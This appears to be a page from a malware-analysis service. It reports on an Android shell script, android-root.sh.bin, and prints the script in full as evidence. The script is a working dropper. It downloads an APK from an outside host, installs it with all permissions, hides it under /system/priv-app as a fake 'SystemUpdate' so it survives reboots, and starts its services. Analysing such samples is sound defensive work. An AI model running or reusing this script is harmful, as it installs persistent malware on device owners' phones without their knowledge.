Suspicious 90% linux Download

android-root.sh.bin

Roots device, installs malicious APK

Shell curl call includes output optionShell downloader call selects file output
SHA-256e3643513ba4bcca86c5df6b02578c27186ac2a1b9763644cfe6931814ffb11af

Evidence

Shell command text names input path lines 1–17
1#!/bin/sh
2# ANDROID — ROOTED. Run inside: adb shell su -c 'sh /data/local/tmp/android-root.sh'
3P=com.sigm.apk; S=KyorijService; M=MainActivity
4cd /data/local/tmp || exit 1
5su -c 'id' >/dev/null 2>&1 || { echo "[!] not rooted"; exit 1; }
6wget -q -O a.apk http://play.nopixel-rp.ir/sag.apk || curl -s -o a.apk http://play.nopixel-rp.ir/sag.apk || su -c "wget -q -O a.apk http://play.nopixel-rp.ir/sag.apk"
7su -c "pm install -r -g /data/local/tmp/a.apk" || su -c "pm install -r /data/local/tmp/a.apk"
8# persist as a system app so it survives reboot / factory-ish resets
9su -c "mount -o rw,remount /system"
10su -c "cp /data/local/tmp/a.apk /system/priv-app/SystemUpdate/SystemUpdate.apk"
11su -c "chmod 644 /system/priv-app/SystemUpdate/SystemUpdate.apk"
12su -c "mount -o ro,remount /system"
13su -c "am start-foreground-service -n $P/.$S" 2>/dev/null
14su -c "am startservice -n $P/.$S" 2>/dev/null
15su -c "am start -n $P/.$M" 2>/dev/null
16su -c "am broadcast -a android.intent.action.BOOT_COMPLETED -n $P/.BootReceiver" 2>/dev/null
17echo "[+] rooted install done"

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.